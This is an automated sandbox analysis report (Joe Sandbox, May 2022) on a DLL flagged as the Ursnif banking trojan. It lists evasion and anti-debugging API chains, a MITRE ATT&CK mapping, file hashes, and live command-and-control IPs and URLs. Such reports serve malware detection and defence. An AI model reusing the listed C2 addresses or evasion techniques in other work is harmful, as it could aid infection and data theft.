Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking system information)

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep

Source: C:\Windows\SysWOW64\rundll32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: rundll32.exe, 00000002.00000002.784646579.0000000000A49000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000002.784730150.0000000000A76000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Windows\SysWOW64\rundll32.exe

Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_008F15E3 LoadLibraryA,GetProcAddress,

2_2_008F15E3

Source: C:\Windows\System32\loaddll32.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process queried: DebugPort			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.189.151.28 80			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.189.151.70 80			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\BJp3aUvrt9.dll",#1

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_010F3365 cpuid

2_2_010F3365

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_008F1C83 GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

2_2_008F1C83

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_008F10C4 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

2_2_008F10C4

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_010F3365 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

2_2_010F3365

Stealing of Sensitive Information

Yara detected Ursnif

Source: Yara match	File source: 00000002.00000003.364421717.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364070986.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364312063.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364235828.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364148388.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364394991.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364278031.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364350159.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.785582568.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: 2.2.rundll32.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.10f0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.49c94a0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.49c94a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.785174567.00000000049C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Ursnif

Source: Yara match	File source: 00000002.00000003.364421717.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364070986.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364312063.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364235828.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364148388.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364394991.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364278031.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364350159.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.785582568.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: 2.2.rundll32.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.10f0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.49c94a0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.49c94a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.785174567.00000000049C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	111 Process Injection	11 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	12 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	111 Process Injection	LSASS Memory	111 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Rundll32	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Account Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	114 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
BJp3aUvrt9.dll	32%	ReversingLabs	Win32.Trojan.Generic
BJp3aUvrt9.dll	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
2.2.rundll32.exe.8f0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File
2.2.rundll32.exe.10f0000.1.unpack	100%	Avira	HEUR/AGEN.1245293		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://185.189.151.28/	100%	Avira URL Cloud	malware
http://185.189.151.28/drew/Gno4E_2Fz/JYCqWA_2FqMmY1RZwoiB/wugIArNn94bFR0HD9u1/3DvnzuRELDO66MgbIMgnTX	100%	Avira URL Cloud	malware
http://185.189.151.70/?	100%	Avira URL Cloud	malware
http://185.189.151.70/	100%	Avira URL Cloud	malware
http://185.18	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.189.151.28/	rundll32.exe, 00000002.00000002.784730150.0000000000A76000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.189.151.28/drew/Gno4E_2Fz/JYCqWA_2FqMmY1RZwoiB/wugIArNn94bFR0HD9u1/3DvnzuRELDO66MgbIMgnTX	rundll32.exe, 00000002.00000002.784730150.0000000000A76000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.189.151.70/?	rundll32.exe, 00000002.00000002.784730150.0000000000A76000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.189.151.70/	rundll32.exe, 00000002.00000002.784646579.0000000000A49000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000002.784730150.0000000000A76000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.18	rundll32.exe, 00000002.00000002.784882231.00000000010DC000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.189.151.70	unknown	Switzerland		51395	AS-SOFTPLUSCH	true
185.189.151.28	unknown	Switzerland		51395	AS-SOFTPLUSCH	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	628121
Start date and time: 17/05/202210:59:07	2022-05-17 10:59:07 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	BJp3aUvrt9 (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winDLL@8/12@0/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 45.6% (good quality ratio 42.2%) Quality average: 79% Quality standard deviation: 30.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 45 Number of non-executed functions: 31
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212, 13.107.42.16
Excluded domains from analysis (whitelisted): fs.microsoft.com, config.edge.skype.com.trafficmanager.net, arc.msn.com, ris.api.iris.microsoft.com, onedsblobprdcus15.centralus.cloudapp.azure.com, store-images.s-microsoft.com, login.live.com, l-0007.config.skype.com, config-edge-skype.l-0007.l-msedge.net, blobcollector.events.data.trafficmanager.net, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, l-0007.l-msedge.net, config.edge.skype.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:00:28	API Interceptor	2x Sleep call for process: WerFault.exe modified
11:01:00	API Interceptor	1x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
185.189.151.70	62835e34e60c1.dll	Get hash	malicious	Browse
185.189.151.70	62835e34e60c1.dll	Get hash	malicious	Browse
185.189.151.28	62835e34e60c1.dll	Get hash	malicious	Browse
	62835e34e60c1.dll	Get hash	malicious	Browse
	xaj0e933Uv.dll	Get hash	malicious	Browse
	tIJVb0BvkI.dll	Get hash	malicious	Browse
	XoVzWJQAQ0.dll	Get hash	malicious	Browse
	qOfIxt1fnQ.dll	Get hash	malicious	Browse
	2oCOO5LbPu.dll	Get hash	malicious	Browse
	rXN8OIpbzz.dll	Get hash	malicious	Browse
	GlJdt15gDI.dll	Get hash	malicious	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-SOFTPLUSCH	62835e34e60c1.dll	Get hash	malicious	Browse	185.189.151.28
	62835e34e60c1.dll	Get hash	malicious	Browse	185.189.151.28
	P5ASinnD4i.exe	Get hash	malicious	Browse	176.10.119.117
	5A30ie6lsZ.exe	Get hash	malicious	Browse	176.10.119.117
	OIpCcXM6Y5.exe	Get hash	malicious	Browse	176.10.119.117
	xaj0e933Uv.dll	Get hash	malicious	Browse	185.189.151.28
	tIJVb0BvkI.dll	Get hash	malicious	Browse	185.189.151.28
	XoVzWJQAQ0.dll	Get hash	malicious	Browse	185.189.151.28
	qOfIxt1fnQ.dll	Get hash	malicious	Browse	185.189.151.28
	2oCOO5LbPu.dll	Get hash	malicious	Browse	185.189.151.28
	rXN8OIpbzz.dll	Get hash	malicious	Browse	185.189.151.28
	GlJdt15gDI.dll	Get hash	malicious	Browse	185.189.151.28
	o52M6ZqBFp	Get hash	malicious	Browse	176.10.116.173
	com.abbondioendrizzi.tools.supercleaner-9-apkplz.net.apk	Get hash	malicious	Browse	176.10.119.156
	com.pagnotto28.sellsourcecode.supercleaner-9-apkplz.net.apk	Get hash	malicious	Browse	176.10.119.156
	com.pagnotto28.sellsourcecode.alpha-6-apkplz.net.apk	Get hash	malicious	Browse	176.10.119.156
	URGENT REQUEST FOR QUOTE_____Pdf.exe	Get hash	malicious	Browse	91.192.100.6
	Powerful Cleaner Antivirus_v1.9.apk	Get hash	malicious	Browse	176.10.119.156
	K74MviOR7d	Get hash	malicious	Browse	185.189.149.113
	xIOggpNWfl.exe	Get hash	malicious	Browse	176.10.107.180

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_13ec5c98984773435626ad7d5b7558cb4938ccf_7cac0383_1985ef9c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7490316764233721
Encrypted:	false
SSDEEP:	96:gG6uFxLWJnYyCy9haot7JnOpXIQcQac6pcEccw35+a+z+HbHgIVG4rmMXL9iVffk:xbGnaH0tGtjbq/u7skS274ItW
MD5:	24141771F0348D4D2165E1C941A1787B
SHA1:	9547CBA944AE3D174D3CEC21B225C3F54AB002DF
SHA-256:	ABB363145D8BCAFB5E2786F6AEC6B37A633B62DB331E531EFDD265EE6371D88D
SHA-512:	237007822C3FB9D4614D327742330E58707753128FE980A2D24D4FB530461B645E8D4E00B82DC190E762E79820ACA3424B468226728D7DF8B88D5C4CD3221138
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.9.7.2.8.4.0.2.4.6.6.5.4.3.0.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.9.7.2.8.4.0.2.6.4.1.5.4.0.5.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.3.d.a.8.2.5.c.-.3.6.4.c.-.4.5.d.6.-.b.c.5.3.-.d.9.f.f.4.d.e.7.4.c.e.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.2.7.5.9.0.3.b.-.2.2.d.6.-.4.b.5.9.-.9.8.1.6.-.6.3.e.f.9.8.2.5.0.9.2.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.1.8.-.0.0.0.1.-.0.0.1.d.-.9.e.b.3.-.5.3.f.6.1.7.6.a.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_61eae61638761e2a39674020347ca413fb22393_7cac0383_19cdd4c1\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7419357989377661
Encrypted:	false
SSDEEP:	96:UfiBTWJnYypy9haFCj+kSZpXIQcQac6pcEccw35+a+z+HbHgIVG4rmMXL9iVff9o:yiBCnXH0tGtjbq/u7s/S274Itb
MD5:	22BEBF100C00B60C01CD3402F3B3779B
SHA1:	200682AEFFBEA38E807BF478AC5A74612C870AC6
SHA-256:	7BDC06AB615B766001F79167D9C844ABB7463A379739C0FC099B9D176ADD1ABF
SHA-512:	0761F41B6B3210F299F3FB985F3FBCECDDE0EC468A6EF9DD5486541CA0807331254F276C78B4CB134A16DBA030D9CC3CCA9C9CB103FC54DE27F96626EEE3FCFA
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.9.7.2.8.4.0.1.9.4.9.0.2.8.0.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.4.e.3.4.3.6.7.-.7.3.e.6.-.4.b.7.8.-.8.8.7.3.-.0.f.a.0.4.a.f.3.4.b.f.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.c.4.8.b.8.d.e.-.8.c.4.f.-.4.4.2.5.-.9.e.b.7.-.6.c.f.9.1.2.b.0.7.0.3.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.1.8.-.0.0.0.1.-.0.0.1.d.-.9.e.b.3.-.5.3.f.6.1.7.6.a.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.2././.1.3.:.0.9.:.0.7.:.1.6.!.0.!.l.o.a.d.d.l.l.3.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_b75bd23440526356a090f9cb45508f9dce6e86_7cac0383_1ada168d\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7452090624012112
Encrypted:	false
SSDEEP:	96:ctF/k8WJnYymy9haFCjmfIpXIQcQsc6LcENcw3CM+a+z+HbHgIVG4rmMXL9iVffk:kmxnXHSPX7jbq/u7skS274ItW
MD5:	D39E373EA80BDB4ABEA47E895F4CDB01
SHA1:	C175A2016669C7E8C44BDF09002D5BDF1C4F24F7
SHA-256:	BEE31382B92DAFF45275431A897D4A8D0D2028075B05A75555752C54D8C58E74
SHA-512:	601E58D0DA8F7E1051A95F095ED7579C3D72F917EFA0D780A481E89A95280B48582835AB7F7E715A9845AFA8B8FFE71382368CC227C1B7A986A045B0364A33B3
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.9.7.2.8.4.0.3.5.2.2.8.5.1.2.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.9.7.2.8.4.0.3.6.9.3.1.6.4.4.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.2.6.4.5.9.b.c.-.f.f.6.b.-.4.1.0.5.-.9.5.4.a.-.f.a.e.9.1.8.d.6.4.9.7.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.9.2.7.7.9.d.c.-.0.b.c.d.-.4.6.f.9.-.b.d.2.a.-.1.c.0.5.6.1.3.4.7.c.4.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.1.8.-.0.0.0.1.-.0.0.1.d.-.9.e.b.3.-.5.3.f.6.1.7.6.a.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1046.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4558
Entropy (8bit):	4.428766017452063
Encrypted:	false
SSDEEP:	48:cvIwSD8zshJgtWI9kiWgc8sqYjz38fm8M4J2+A+XFqz+q84fSvg2KcQIcQw0hdd:uITfzPjgrsqYPcJ/qMnKkw0hdd
MD5:	AA35D5A5B6894F05AC4C0E9A9332472F
SHA1:	494B810764D38A322B11D47A081871CE22B83BA7
SHA-256:	31F35E36D5DA16819901B80714ACBD7C4EBB1D5910A42472EB79E48AE52E1A83
SHA-512:	040CB17A5E12566F27FCB923158FDCDF70B6ABA1840C3F818D0F1B82E77FFADCE5FDD1981B8F8B34118F40C6C36749DA251A95CF4AF50093E438E0D2A693AEF4
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1519391" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB04.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue May 17 18:00:35 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	47674
Entropy (8bit):	2.2871381466825977
Encrypted:	false
SSDEEP:	384:8PezsKaQ+EuwDScxGzTGcwiO3vDL/2B/zp70cU3:8PusWgwDvGXK3vDLu83
MD5:	5509847FFAD6A604DCEE3BDBA5607C73
SHA1:	14EF85682E5123F94333D10002631DF22EA02051
SHA-256:	0D88E25046E05ED8E98E65545C0143D7B942FE251A55E249D25E0A14B8BDFB5B
SHA-512:	911659359456CCF6FE9B17722E9C4D849D7E225B8EEBAF711ECE5C3DBF45AC345A52E0EFF03B3FB35EDD32297F74F119296B0DEA97E67B94B8FDD0E7F2819844
Malicious:	false
Preview:	MDMP....... .........b........................L...........$...............~!..........`.......8...........T............................................................................................................U...........B..............GenuineIntelW...........T.............b.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD7E.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue May 17 18:00:19 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	34850
Entropy (8bit):	2.045569064677871
Encrypted:	false
SSDEEP:	192:oFHM+tYEjEOPxMrUwz23RiuqCkI6lKWesjR+6:9yPOIwz2B/rp60Wes
MD5:	DBE2F603F81E822005E12B636CC8F37A
SHA1:	52BF00112ECD0672AA3EAE48C6BBCAB030F8870C
SHA-256:	F1F7B4F8CDCAC7FB076326CCB3F3BBAD1ECF976F0BAB451728053A494BFD036D
